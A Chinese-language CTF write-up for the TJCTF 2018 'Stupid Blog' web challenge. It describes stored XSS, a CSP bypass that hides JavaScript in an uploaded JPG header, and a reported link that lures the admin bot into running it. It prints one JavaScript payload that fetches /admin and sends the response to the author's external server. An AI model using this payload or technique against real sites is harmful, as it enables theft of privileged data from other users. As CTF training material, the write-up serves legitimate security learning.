TJCTF 2018 Stupid Blog wp

题目链接:https://stupid_blog.tjctf.org/

打开后发现可以注册或者登录,尝试注册admin账号,不出所料提示admin已被注册。

正常注册后进来是这样的:

有三个功能:跟管理员报告一个用户,上传一张图片,写留言。

先从最直观的写留言进行测试,尝试alert(1),发现没有过滤,成功插入

但是并没有执行,有CSP限制:

没有直接设置'script-src',则如果可以把js脚本上传到这个页面,就可以在留言那里使用src=来执行js脚本,而目前可以上传图片,关于在图片中藏js脚本可以看我这篇博客:

把JS藏在JPG文件头里

那大概思路就是这样了,上传包含脚本的图片,留言src调用上传的脚本,然后报告管理员让他访问这个页面来偷取admin才有的东西(比如cookie?)

先测试一下脚本,上传包含alert(1)的图片,然后留言

EUSTIAR/pfp是图片上传后的路径

但是发现并没有弹窗,查看console提示:

可以手动更改编码 charset="ISO-8859-1"让图片头的十六进制字符正常显示。

更改之后成功弹框

接下来就是更改一下js的内容,然后report 自己的账号,让admin的东西打到自己的vps上,可以使用这样的代码

*/=1;x=new XMLHttpRequest();x.open("GET","/admin",false);x.send(null);document.location="http://eustiar.tk/y"+x.responseText;/*

配合我之前提到的博客的脚本生成图片,用这个代码替换脚本中生成变量e的字符串即可。

特别说一下,因为图片最开始有不在注释符号里的几个字符:ˇÿˇ‡

所以实际连接起来的脚本是这样的(方便截图换了个行):

代码开头的=1;也正是为了消除前面ˇÿˇ‡这个变量的影响。

这样就可以把admin可以看到的东西都发送到自己的vps上。

成功report之后,查看自己vps的日志发现

copy下来urldecode即可找到flag

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注